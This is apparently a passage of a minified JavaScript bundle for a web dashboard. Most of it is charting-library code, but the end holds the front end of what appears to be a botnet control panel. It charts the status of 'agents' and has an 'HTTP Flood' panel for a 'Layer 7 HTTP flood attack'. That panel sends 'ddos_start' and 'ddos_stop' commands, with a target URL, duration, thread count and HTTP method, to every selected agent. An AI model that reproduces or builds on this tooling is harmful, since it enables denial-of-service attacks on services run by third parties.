ge(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.y||0),d)),ge(d)?m.createElement("rect",{x:l({points:o,baseLine:l}),[o,l]),g=qd(x,"recharts-area-"),y=tM(),[v,b]=m.useState(!1),w=!v,j=m.useCallback(()=>{typeof h=="function"&&h(),b(!1)},[h]),N=m.useCallback(()=>{typeof p=="function"&&p(),b(!0)},[p]);if(y==null)return null;var z=i.current,k=s.current;return m.createElement(PW,{showLabels:w,points:o},r.children,m.createElement(Yd,{animationId:g,begin:u,duration:d,isActive:c,easing:f,onAnimationEnd:j,onAnimationStart:N,key:g},S=>{if(z){var A=z.length/o.length,_=S===1?o:o.map((P,I)=>{var Y=Math.floor(I*A);if(z[Y]){var D=z[Y];return Ua(Ua({},P),{},{x:At(D.x,P.x,S),y:At(D.y,P.y,S)})}return P}),O;return ge(l)?O=At(k,l,S):Mt(l)||mr(l)?O=At(k,0,S):O=l.map((P,I)=>{var Y=Math.floor(I*A);if(Array.isArray(k)&&k[Y]){var D=k[Y];return Ua(Ua({},P),{},{x:At(D.x,P.x,S),y:At(D.y,P.y,S)})}return P}),S>0&&(i.current=_,s.current=O),m.createElement(P2,{points:_,baseLine:O,needClip:t,clipPathId:n,props:r})}return S>0&&(i.current=o,s.current=l),m.createElement(tn,null,c&&m.createElement("defs",null,m.createElement("clipPath",{id:"animationClipPath-".concat(n)},m.createElement(AW,{alpha:S,points:o,baseLine:l,layout:y,strokeWidth:r.strokeWidth}))),m.createElement(tn,{clipPath:"url(#animationClipPath-".concat(n,")")},m.createElement(P2,{points:o,baseLine:l,needClip:t,clipPathId:n,props:r})))}),m.createElement(f3,{label:r.label}))}function TW(e){var{needClip:t,clipPathId:n,props:r}=e,i=m.useRef(null),s=m.useRef();return m.createElement(OW,{needClip:t,clipPathId:n,props:r,previousPointsRef:i,previousBaselineRef:s})}class MW extends m.PureComponent{render(){var{hide:t,dot:n,points:r,className:i,top:s,left:o,needClip:l,xAxisId:c,yAxisId:u,width:d,height:f,id:p,baseLine:h,zIndex:x}=this.props;if(t)return null;var g=Qe("recharts-area",i),y=p,{r:v,strokeWidth:b}=WF(n),w=w3(n),j=v*2+b,N=l?"url(#clipPath-".concat(w?"":"dots-").concat(y,")"):void 0;return m.createElement(Mi,{zIndex:x},m.createElement(tn,{className:g},l&&m.createElement("defs",null,m.createElement(FF,{clipPathId:y,xAxisId:c,yAxisId:u}),!w&&m.createElement("clipPath",{id:"clipPath-dots-".concat(y)},m.createElement("rect",{x:o-j/2,y:s-j/2,width:d+j,height:f+j}))),m.createElement(TW,{needClip:l,clipPathId:y,props:this.props})),m.createElement(N2,{points:r,mainColor:Vu(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:N}),this.props.isRange&&Array.isArray(h)&&m.createElement(N2,{points:h,mainColor:Vu(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:N}))}}var W3={activeDot:!0,animationBegin:0,animationDuration:1500,animationEasing:"ease",connectNulls:!1,dot:!1,fill:"#3182bd",fillOpacity:.6,hide:!1,isAnimationActive:"auto",legendType:"line",stroke:"#3182bd",strokeWidth:1,type:"linear",label:!1,xAxisId:0,yAxisId:0,zIndex:Zt.area};function LW(e){var t,n=gn(e,W3),{activeDot:r,animationBegin:i,animationDuration:s,animationEasing:o,connectNulls:l,dot:c,fill:u,fillOpacity:d,hide:f,isAnimationActive:p,legendType:h,stroke:x,xAxisId:g,yAxisId:y}=n,v=F3(n,bW),b=bs(),w=Wz(),{needClip:j}=T3(g,y),N=Jn(),{points:z,isRange:k,baseLine:S}=(t=je(Y=>gW(Y,e.id,N)))!==null&&t!==void 0?t:{},A=vv();if(b!=="horizontal"&&b!=="vertical"||A==null||w!=="AreaChart"&&w!=="ComposedChart")return null;var{height:_,width:O,x:P,y:I}=A;return!z||!z.length?null:m.createElement(MW,na({},v,{activeDot:r,animationBegin:i,animationDuration:s,animationEasing:o,baseLine:S,connectNulls:l,dot:c,fill:u,fillOpacity:d,height:_,hide:f,layout:b,isAnimationActive:p==="auto"?!Kd.isSsr:p,isRange:k,legendType:h,needClip:j,points:z,stroke:x,width:O,left:P,top:I,xAxisId:g,yAxisId:y}))}var IW=(e,t,n,r,i)=>{var s=n??t;if(ge(s))return s;var o=e==="horizontal"?i:r,l=o.scale.domain();if(o.type==="number"){var c=Math.max(l[0],l[1]),u=Math.min(l[0],l[1]);return s==="dataMin"?u:s==="dataMax"||c<0?c:Math.max(Math.min(l[0],l[1]),0)}return s==="dataMin"?l[0]:s==="dataMax"?l[1]:l[0]};function DW(e){var{areaSettings:{connectNulls:t,baseValue:n,dataKey:r},stackedData:i,layout:s,chartBaseValue:o,xAxis:l,yAxis:c,displayedData:u,dataStartIndex:d,xAxisTicks:f,yAxisTicks:p,bandSize:h}=e,x=i&&i.length,g=IW(s,o,n,l,c),y=s==="horizontal",v=!1,b=u.map((j,N)=>{var z,k,S,A;if(x)A=i[d+N];else{var _=Ve(j,r);Array.isArray(_)?(A=_,v=!0):A=[g,_]}var O=(z=(k=A)===null||k===void 0?void 0:k[1])!==null&&z!==void 0?z:null,P=O==null||x&&!t&&Ve(j,r)==null;if(y){var I;return{x:Ty({axis:l,ticks:f,bandSize:h,entry:j,index:N}),y:P?null:(I=c.scale.map(O))!==null&&I!==void 0?I:null,value:A,payload:j}}return{x:P?null:(S=l.scale.map(O))!==null&&S!==void 0?S:null,y:Ty({axis:c,ticks:p,bandSize:h,entry:j,index:N}),value:A,payload:j}}),w;return x||v?w=b.map(j=>{var N,z=Array.isArray(j.value)?j.value[0]:null;if(y){var k;return{x:j.x,y:z!=null&&j.y!=null&&(k=c.scale.map(z))!==null&&k!==void 0?k:null,payload:j.payload}}return{x:z!=null&&(N=l.scale.map(z))!==null&&N!==void 0?N:null,y:j.y,payload:j.payload}}):w=y?c.scale.map(g):l.scale.map(g),{points:b,baseLine:w??0,isRange:v}}function RW(e){var t=gn(e,W3),n=Jn();return m.createElement(k3,{id:t.id,type:"area"},r=>m.createElement(m.Fragment,null,m.createElement(CB,{legendPayload:zW(t)}),m.createElement(SW,{dataKey:t.dataKey,data:t.data,stroke:t.stroke,strokeWidth:t.strokeWidth,fill:t.fill,name:t.name,hide:t.hide,unit:t.unit,tooltipType:t.tooltipType,id:r}),m.createElement(FB,{type:"area",id:r,data:t.data,dataKey:t.dataKey,xAxisId:t.xAxisId,yAxisId:t.yAxisId,zAxisId:0,stackId:wT(t.stackId),hide:t.hide,barSize:void 0,baseValue:t.baseValue,isPanorama:n,connectNulls:t.connectNulls}),m.createElement(LW,na({},t,{id:r}))))}var U3=m.memo(RW,M3);U3.displayName="Area";var $W=(e,t)=>t,bv=L([$W,De,H4,St,Lz,Zr,TR,kt],BR),wv=e=>{var t=e.currentTarget.getBoundingClientRect(),n=t.width/e.currentTarget.offsetWidth,r=t.height/e.currentTarget.offsetHeight;return{chartX:Math.round((e.clientX-t.left)/n),chartY:Math.round((e.clientY-t.top)/r)}},V3=On("mouseClick"),H3=ol();H3.startListening({actionCreator:V3,effect:(e,t)=>{var n=e.payload,r=bv(t.getState(),wv(n));(r==null?void 0:r.activeIndex)!=null&&t.dispatch(OD({activeIndex:r.activeIndex,activeDataKey:void 0,activeCoordinate:r.activeCoordinate}))}});var kh=On("mouseMove"),K3=ol(),nc=null;K3.startListening({actionCreator:kh,effect:(e,t)=>{var n=e.payload;nc!==null&&cancelAnimationFrame(nc);var r=wv(n);nc=requestAnimationFrame(()=>{var i=t.getState(),s=nv(i,i.tooltip.settings.shared);if(s==="axis"){var o=bv(i,r);(o==null?void 0:o.activeIndex)!=null?t.dispatch(Sz({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate})):t.dispatch(zz())}nc=null})}});function BW(e,t){return t instanceof HTMLElement?"HTMLElement <".concat(t.tagName,' class="').concat(t.className,'">'):t===window?"global.window":e==="children"&&typeof t=="object"&&t!==null?"<>":t}var E2={accessibilityLayer:!0,barCategoryGap:"10%",barGap:4,barSize:void 0,className:void 0,maxBarSize:void 0,stackOffset:"none",syncId:void 0,syncMethod:"index",baseValue:void 0,reverseStackOrder:!1},Y3=nn({name:"rootProps",initialState:E2,reducers:{updateOptions:(e,t)=>{var n;e.accessibilityLayer=t.payload.accessibilityLayer,e.barCategoryGap=t.payload.barCategoryGap,e.barGap=(n=t.payload.barGap)!==null&&n!==void 0?n:E2.barGap,e.barSize=t.payload.barSize,e.maxBarSize=t.payload.maxBarSize,e.stackOffset=t.payload.stackOffset,e.syncId=t.payload.syncId,e.syncMethod=t.payload.syncMethod,e.className=t.payload.className,e.baseValue=t.payload.baseValue,e.reverseStackOrder=t.payload.reverseStackOrder}}}),FW=Y3.reducer,{updateOptions:WW}=Y3.actions,UW=null,VW={updatePolarOptions:(e,t)=>t.payload},q3=nn({name:"polarOptions",initialState:UW,reducers:VW}),{updatePolarOptions:HW}=q3.actions,KW=q3.reducer,G3=On("keyDown"),X3=On("focus"),jv=ol();jv.startListening({actionCreator:G3,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip,s=e.payload;if(!(s!=="ArrowRight"&&s!=="ArrowLeft"&&s!=="Enter")){var o=rv(i,Es(n),gl(n),bl(n)),l=o==null?-1:Number(o);if(!(!Number.isFinite(l)||l<0)){var c=Zr(n);if(s==="Enter"){var u=Ru(n,"axis","hover",String(i.index));t.dispatch(yh({active:!i.active,activeIndex:i.index,activeCoordinate:u}));return}var d=jD(n),f=d==="left-to-right"?1:-1,p=s==="ArrowRight"?1:-1,h=l+p*f;if(!(c==null||h>=c.length||h<0)){var x=Ru(n,"axis","hover",String(h));t.dispatch(yh({active:!0,activeIndex:h.toString(),activeCoordinate:x}))}}}}}});jv.startListening({actionCreator:X3,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip;if(!i.active&&i.index==null){var s="0",o=Ru(n,"axis","hover",String(s));t.dispatch(yh({active:!0,activeIndex:s,activeCoordinate:o}))}}}});var kn=On("externalEvent"),Z3=ol(),Em=new Map;Z3.startListening({actionCreator:kn,effect:(e,t)=>{var{handler:n,reactEvent:r}=e.payload;if(n!=null){r.persist();var i=r.type,s=Em.get(i);s!==void 0&&cancelAnimationFrame(s);var o=requestAnimationFrame(()=>{try{var l=t.getState(),c={activeCoordinate:gR(l),activeDataKey:$z(l),activeIndex:ms(l),activeLabel:Rz(l),activeTooltipIndex:ms(l),isTooltipActive:yR(l)};n(c,r)}finally{Em.delete(i)}});Em.set(i,o)}}});var YW=L([Cs],e=>e.tooltipItemPayloads),qW=L([YW,(e,t)=>t,(e,t,n)=>n],(e,t,n)=>{if(t!=null){var r=e.find(s=>s.settings.graphicalItemId===n);if(r!=null){var{getPosition:i}=r;if(i!=null)return i(t)}}}),Q3=On("touchMove"),J3=ol();J3.startListening({actionCreator:Q3,effect:(e,t)=>{var n=e.payload;if(!(n.touches==null||n.touches.length===0)){var r=t.getState(),i=nv(r,r.tooltip.settings.shared);if(i==="axis"){var s=n.touches[0];if(s==null)return;var o=bv(r,wv({clientX:s.clientX,clientY:s.clientY,currentTarget:n.currentTarget}));(o==null?void 0:o.activeIndex)!=null&&t.dispatch(Sz({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate}))}else if(i==="item"){var l,c=n.touches[0];if(document.elementFromPoint==null||c==null)return;var u=document.elementFromPoint(c.clientX,c.clientY);if(!u||!u.getAttribute)return;var d=u.getAttribute(pk),f=(l=u.getAttribute(hk))!==null&&l!==void 0?l:void 0,p=Ps(r).find(g=>g.id===f);if(d==null||p==null||f==null)return;var{dataKey:h}=p,x=qW(r,d,f);t.dispatch(kz({activeDataKey:h,activeIndex:d,activeCoordinate:x,activeGraphicalItemId:f}))}}}});var GW=RN({brush:MF,cartesianAxis:SF,chartData:x9,errorBars:BF,graphicalItems:$B,layout:fT,legend:hM,options:d9,polarAxis:G$,polarOptions:KW,referenceElements:IF,rootProps:FW,tooltip:TD,zIndex:e9}),XW=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"Chart";return DO({reducer:GW,preloadedState:t,middleware:r=>{var i;return r({serializableCheck:!1,immutableCheck:!["commonjs","es6","production"].includes((i="es6")!==null&&i!==void 0?i:"")}).concat([H3.middleware,K3.middleware,jv.middleware,Z3.middleware,J3.middleware])},enhancers:r=>{var i=r;return typeof r=="function"&&(i=r()),i.concat(JN({type:"raf"}))},devTools:{serialize:{replacer:BW},name:"recharts-".concat(n)}})};function eS(e){var{preloadedState:t,children:n,reduxStoreName:r}=e,i=Jn(),s=m.useRef(null);if(i)return n;s.current==null&&(s.current=XW(t,r));var o=Vx;return m.createElement(uW,{context:o,store:s.current},n)}function ZW(e){var{layout:t,margin:n}=e,r=ot(),i=Jn();return m.useEffect(()=>{i||(r(cT(t)),r(lT(n)))},[r,i,t,n]),null}var tS=m.memo(ZW,M3);function nS(e){var t=ot();return m.useEffect(()=>{t(WW(e))},[t,e]),null}function _2(e){var{zIndex:t,isPanorama:n}=e,r=m.useRef(null),i=ot();return m.useLayoutEffect(()=>(r.current&&i(QR({zIndex:t,element:r.current,isPanorama:n})),()=>{i(JR({zIndex:t,isPanorama:n}))}),[i,t,n]),m.createElement("g",{tabIndex:-1,ref:r})}function A2(e){var{children:t,isPanorama:n}=e,r=je(WR);if(!r||r.length===0)return t;var i=r.filter(o=>o<0),s=r.filter(o=>o>0);return m.createElement(m.Fragment,null,i.map(o=>m.createElement(_2,{key:o,zIndex:o,isPanorama:n})),t,s.map(o=>m.createElement(_2,{key:o,zIndex:o,isPanorama:n})))}var QW=["children"];function JW(e,t){if(e==null)return{};var n,r,i=eU(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r{var n=JT(),r=eM(),i=Tk();if(!Si(n)||!Si(r))return null;var{children:s,otherAttributes:o,title:l,desc:c}=e,u,d;return o!=null&&(typeof o.tabIndex=="number"?u=o.tabIndex:u=i?0:void 0,typeof o.role=="string"?d=o.role:d=i?"application":void 0),m.createElement(R5,Hu({},o,{title:l,desc:c,role:d,tabIndex:u,width:n,height:r,style:tU,ref:t}),s)}),rU=e=>{var{children:t}=e,n=je(Fd);if(!n)return null;var{width:r,height:i,y:s,x:o}=n;return m.createElement(R5,{width:r,height:i,x:o,y:s},t)},O2=m.forwardRef((e,t)=>{var{children:n}=e,r=JW(e,QW),i=Jn();return i?m.createElement(rU,null,m.createElement(A2,{isPanorama:!0},n)):m.createElement(nU,Hu({ref:t},r),m.createElement(A2,{isPanorama:!1},n))});function iU(){var e=ot(),[t,n]=m.useState(null),r=je(CT);return m.useEffect(()=>{if(t!=null){var i=t.getBoundingClientRect(),s=i.width/t.offsetWidth;Ee(s)&&s!==r&&e(dT(s))}},[t,e,r]),n}function T2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function aU(e){for(var t=1;t(z9(),null);function Ku(e){if(typeof e=="number")return e;if(typeof e=="string"){var t=parseFloat(e);if(!Number.isNaN(t))return t}return 0}var uU=m.forwardRef((e,t)=>{var n,r,i=m.useRef(null),[s,o]=m.useState({containerWidth:Ku((n=e.style)===null||n===void 0?void 0:n.width),containerHeight:Ku((r=e.style)===null||r===void 0?void 0:r.height)}),l=m.useCallback((u,d)=>{o(f=>{var p=Math.round(u),h=Math.round(d);return f.containerWidth===p&&f.containerHeight===h?f:{containerWidth:p,containerHeight:h}})},[]),c=m.useCallback(u=>{if(typeof t=="function"&&t(u),u!=null&&typeof ResizeObserver<"u"){var{width:d,height:f}=u.getBoundingClientRect();l(d,f);var p=x=>{var g=x[0];if(g!=null){var{width:y,height:v}=g.contentRect;l(y,v)}},h=new ResizeObserver(p);h.observe(u),i.current=h}},[t,l]);return m.useEffect(()=>()=>{var u=i.current;u!=null&&u.disconnect()},[l]),m.createElement(m.Fragment,null,m.createElement(cl,{width:s.containerWidth,height:s.containerHeight}),m.createElement("div",ji({ref:c},e)))}),dU=m.forwardRef((e,t)=>{var{width:n,height:r}=e,[i,s]=m.useState({containerWidth:Ku(n),containerHeight:Ku(r)}),o=m.useCallback((c,u)=>{s(d=>{var f=Math.round(c),p=Math.round(u);return d.containerWidth===f&&d.containerHeight===p?d:{containerWidth:f,containerHeight:p}})},[]),l=m.useCallback(c=>{if(typeof t=="function"&&t(c),c!=null){var{width:u,height:d}=c.getBoundingClientRect();o(u,d)}},[t,o]);return m.createElement(m.Fragment,null,m.createElement(cl,{width:i.containerWidth,height:i.containerHeight}),m.createElement("div",ji({ref:l},e)))}),fU=m.forwardRef((e,t)=>{var{width:n,height:r}=e;return m.createElement(m.Fragment,null,m.createElement(cl,{width:n,height:r}),m.createElement("div",ji({ref:t},e)))}),mU=m.forwardRef((e,t)=>{var{width:n,height:r}=e;return typeof n=="string"||typeof r=="string"?m.createElement(dU,ji({},e,{ref:t})):typeof n=="number"&&typeof r=="number"?m.createElement(fU,ji({},e,{width:n,height:r,ref:t})):m.createElement(m.Fragment,null,m.createElement(cl,{width:n,height:r}),m.createElement("div",ji({ref:t},e)))});function pU(e){return e?uU:mU}var hU=m.forwardRef((e,t)=>{var{children:n,className:r,height:i,onClick:s,onContextMenu:o,onDoubleClick:l,onMouseDown:c,onMouseEnter:u,onMouseLeave:d,onMouseMove:f,onMouseUp:p,onTouchEnd:h,onTouchMove:x,onTouchStart:g,style:y,width:v,responsive:b,dispatchTouchEvents:w=!0}=e,j=m.useRef(null),N=ot(),[z,k]=m.useState(null),[S,A]=m.useState(null),_=iU(),O=Jx(),P=(O==null?void 0:O.width)>0?O.width:v,I=(O==null?void 0:O.height)>0?O.height:i,Y=m.useCallback(C=>{_(C),typeof t=="function"&&t(C),k(C),A(C),C!=null&&(j.current=C)},[_,t,k,A]),D=m.useCallback(C=>{N(V3(C)),N(kn({handler:s,reactEvent:C}))},[N,s]),M=m.useCallback(C=>{N(kh(C)),N(kn({handler:u,reactEvent:C}))},[N,u]),W=m.useCallback(C=>{N(zz()),N(kn({handler:d,reactEvent:C}))},[N,d]),$=m.useCallback(C=>{N(kh(C)),N(kn({handler:f,reactEvent:C}))},[N,f]),H=m.useCallback(()=>{N(X3())},[N]),F=m.useCallback(C=>{N(G3(C.key))},[N]),K=m.useCallback(C=>{N(kn({handler:o,reactEvent:C}))},[N,o]),Z=m.useCallback(C=>{N(kn({handler:l,reactEvent:C}))},[N,l]),oe=m.useCallback(C=>{N(kn({handler:c,reactEvent:C}))},[N,c]),de=m.useCallback(C=>{N(kn({handler:p,reactEvent:C}))},[N,p]),be=m.useCallback(C=>{N(kn({handler:g,reactEvent:C}))},[N,g]),ye=m.useCallback(C=>{w&&N(Q3(C)),N(kn({handler:x,reactEvent:C}))},[N,w,x]),G=m.useCallback(C=>{N(kn({handler:h,reactEvent:C}))},[N,h]),te=pU(b);return m.createElement(Yz.Provider,{value:z},m.createElement(_A.Provider,{value:S},m.createElement(te,{width:P??(y==null?void 0:y.width),height:I??(y==null?void 0:y.height),className:Qe("recharts-wrapper",r),style:aU({position:"relative",cursor:"default",width:P,height:I},y),onClick:D,onContextMenu:K,onDoubleClick:Z,onFocus:H,onKeyDown:F,onMouseDown:oe,onMouseEnter:M,onMouseLeave:W,onMouseMove:$,onMouseUp:de,onTouchEnd:G,onTouchMove:ye,onTouchStart:be,ref:Y},m.createElement(cU,null),n)))}),xU=["width","height","responsive","children","className","style","compact","title","desc"];function vU(e,t){if(e==null)return{};var n,r,i=gU(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r{var{width:n,height:r,responsive:i,children:s,className:o,style:l,compact:c,title:u,desc:d}=e,f=vU(e,xU),p=Mr(f);return c?m.createElement(m.Fragment,null,m.createElement(cl,{width:n,height:r}),m.createElement(O2,{otherAttributes:p,title:u,desc:d},s)):m.createElement(hU,{className:o,style:l,width:n,height:r,responsive:i??!1,onClick:e.onClick,onMouseLeave:e.onMouseLeave,onMouseEnter:e.onMouseEnter,onMouseMove:e.onMouseMove,onMouseDown:e.onMouseDown,onMouseUp:e.onMouseUp,onContextMenu:e.onContextMenu,onDoubleClick:e.onDoubleClick,onTouchStart:e.onTouchStart,onTouchMove:e.onTouchMove,onTouchEnd:e.onTouchEnd},m.createElement(O2,{otherAttributes:p,title:u,desc:d,ref:t},m.createElement(RF,null,s)))});function zh(){return zh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{t(HW(e))},[t,e]),null}var NU=["layout"];function Sh(){return Sh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=gn(e,OU);return m.createElement(CU,{chartName:"PieChart",defaultTooltipEventType:"item",validateTooltipEventTypes:AU,tooltipPayloadSearcher:Gz,categoricalChartProps:n,ref:t})}),MU=["axis"],LU=m.forwardRef((e,t)=>m.createElement(wU,{chartName:"AreaChart",defaultTooltipEventType:"axis",validateTooltipEventTypes:MU,tooltipPayloadSearcher:Gz,categoricalChartProps:e,ref:t}));function IU({agents:e}){const t=m.useMemo(()=>{const i=Date.now(),s=24*60*60*1e3,o=24,l=s/o,c=[];for(let u=0;unew Date(x.first_seen).getTime()<=d+l).length;c.push({time:p,count:h})}return c},[e]),n=m.useMemo(()=>{const i=e.filter(l=>l.status==="alive").length,s=e.filter(l=>l.status==="stale").length,o=e.filter(l=>l.status==="dead").length;return[{name:"Alive",value:i,color:"#06B6D4"},{name:"Stale",value:s,color:"#71717A"},{name:"Dead",value:o,color:"#3F3F46"}].filter(l=>l.value>0)},[e]),r=m.useId().replace(/:/g,"_")+"_agentFill";return e.length===0?null:a.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-2 gap-3 mb-6",children:[a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Agent Count (24h)"}),a.jsx("div",{style:{height:100},children:a.jsx(Fy,{width:"100%",height:"100%",children:a.jsxs(LU,{data:t,margin:{top:0,right:0,bottom:0,left:0},children:[a.jsx("defs",{children:a.jsxs("linearGradient",{id:r,x1:"0",y1:"0",x2:"0",y2:"1",children:[a.jsx("stop",{offset:"0%",stopColor:"#06B6D4",stopOpacity:.2}),a.jsx("stop",{offset:"100%",stopColor:"#06B6D4",stopOpacity:0})]})}),a.jsx(Fb,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"},labelStyle:{color:"#71717A"}}),a.jsx(U3,{type:"monotone",dataKey:"count",stroke:"#06B6D4",strokeWidth:1.5,fill:`url(#${r})`,dot:!1,activeDot:{r:3,fill:"#06B6D4",stroke:"#09090B",strokeWidth:2}})]})})})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Status Breakdown"}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsx("div",{style:{width:100,height:100},children:a.jsx(Fy,{width:"100%",height:"100%",children:a.jsxs(TU,{children:[a.jsx(S3,{data:n,cx:"50%",cy:"50%",innerRadius:30,outerRadius:45,paddingAngle:2,dataKey:"value",stroke:"none",children:n.map((i,s)=>a.jsx(ff,{fill:i.color},s))}),a.jsx(Fb,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"}})]})})}),a.jsx("div",{className:"space-y-2",children:n.map(i=>a.jsxs("div",{className:"flex items-center gap-2 text-xs",children:[a.jsx("span",{className:"w-2 h-2 rounded-full",style:{backgroundColor:i.color}}),a.jsx("span",{className:"text-zerin-text-dim",children:i.name}),a.jsx("span",{className:"text-zerin-text font-mono font-medium",children:i.value})]},i.name))})]})]})]})}function DU({tags:e,onChange:t,readOnly:n=!1}){const[r,i]=m.useState(""),[s,o]=m.useState(!1),l=m.useRef(null),c=m.useCallback(()=>{const f=r.trim().toLowerCase();if(!f||e.includes(f)){i("");return}t([...e,f]),i(""),o(!1)},[r,e,t]),u=m.useCallback(f=>{t(e.filter(p=>p!==f))},[e,t]),d=f=>{f.key==="Enter"&&(f.preventDefault(),c()),f.key==="Escape"&&(o(!1),i(""))};return a.jsxs("div",{className:"flex flex-wrap items-center gap-1.5",children:[e.map(f=>a.jsxs("span",{className:`inline-flex items-center gap-1 px-2 py-0.5 text-xs font-medium\r bg-zerin-panel-hover text-zerin-text-dim border border-zerin-panel-border`,children:[f,!n&&a.jsx("button",{onClick:()=>u(f),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors ml-0.5",children:a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]},f)),!n&&a.jsx(a.Fragment,{children:s?a.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),onKeyDown:d,onBlur:()=>{r.trim()?c():o(!1)},autoFocus:!0,placeholder:"tag name",className:`w-20 bg-zerin-bg border border-zerin-panel-border px-1.5 py-0.5\r text-xs text-zerin-text placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 transition-all`}):a.jsxs("button",{onClick:()=>{o(!0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50)},className:`inline-flex items-center gap-0.5 px-1.5 py-0.5 text-xs\r text-zerin-text-muted hover:text-zerin-accent\r border border-dashed border-zerin-panel-border hover:border-zerin-accent/40\r transition-colors`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 4v16m8-8H4"})}),"tag"]})})]})}const RU=["GET","POST","HEAD"],$U=[{label:"30s",value:30},{label:"60s",value:60},{label:"5m",value:300},{label:"10m",value:600}];function aS({agentIds:e,agentStatus:t}){const[n,r]=m.useState(""),[i,s]=m.useState(60),[o,l]=m.useState(10),[c,u]=m.useState("GET"),[d,f]=m.useState(!1),[p,h]=m.useState(null),[x,g]=m.useState(!1),[y,v]=m.useState([]),b=t==="dead",w=e.length,j=(k,S)=>{h({text:k,type:S}),setTimeout(()=>h(null),5e3)},N=async()=>{if(!n.trim()){j("Target URL is required","err");return}f(!0),v([]);try{const S=(await Promise.allSettled(e.map(_=>Me(_,{command:"ddos_start",args:[n.trim(),String(i),String(o),c]})))).map((_,O)=>({agentId:e[O],ok:_.status==="fulfilled",error:_.status==="rejected"?_.reason instanceof Error?_.reason.message:"Failed":void 0}));v(S);const A=S.filter(_=>_.ok).length;g(A>0),A===w?j(`Flood started on ${w} agent${w!==1?"s":""}: ${c} ${n} | ${o} threads | ${i}s`,"ok"):j(`Started on ${A}/${w} agents (${w-A} failed)`,A>0?"ok":"err")}catch(k){j(k instanceof Error?k.message:"Failed to start","err")}finally{f(!1)}},z=async()=>{f(!0),v([]);try{const S=(await Promise.allSettled(e.map(_=>Me(_,{command:"ddos_stop"})))).map((_,O)=>({agentId:e[O],ok:_.status==="fulfilled",error:_.status==="rejected"?_.reason instanceof Error?_.reason.message:"Failed":void 0}));v(S),g(!1);const A=S.filter(_=>_.ok).length;j(`Stop sent to ${A}/${w} agent${w!==1?"s":""}`,"ok")}catch(k){j(k instanceof Error?k.message:"Failed to stop","err")}finally{f(!1)}};return a.jsx("div",{className:"p-6 animate-fade-in",children:a.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 bg-red-500/10 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-red-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})})}),a.jsxs("div",{children:[a.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"HTTP Flood"}),a.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Layer 7 HTTP flood attack",w>1&&a.jsxs("span",{className:"ml-1 text-zerin-accent font-medium",children:["(",w," agents)"]})]})]}),x&&a.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-red-400",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-red-400 animate-pulse"}),"ACTIVE"]})]}),p&&a.jsx("div",{className:`px-3 py-2 text-xs font-mono ${p.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:p.text}),y.length>1&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border p-3 space-y-1 max-h-32 overflow-y-auto",children:y.map(k=>a.jsxs("div",{className:"flex items-center gap-2 text-xs font-mono",children:[a.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${k.ok?"bg-emerald-400":"bg-red-400"}`}),a.jsx("span",{className:"text-zerin-text-dim",children:k.agentId.slice(0,8)}),a.jsx("span",{className:k.ok?"text-emerald-400":"text-red-400",children:k.ok?"OK":k.error})]},k.agentId))}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase 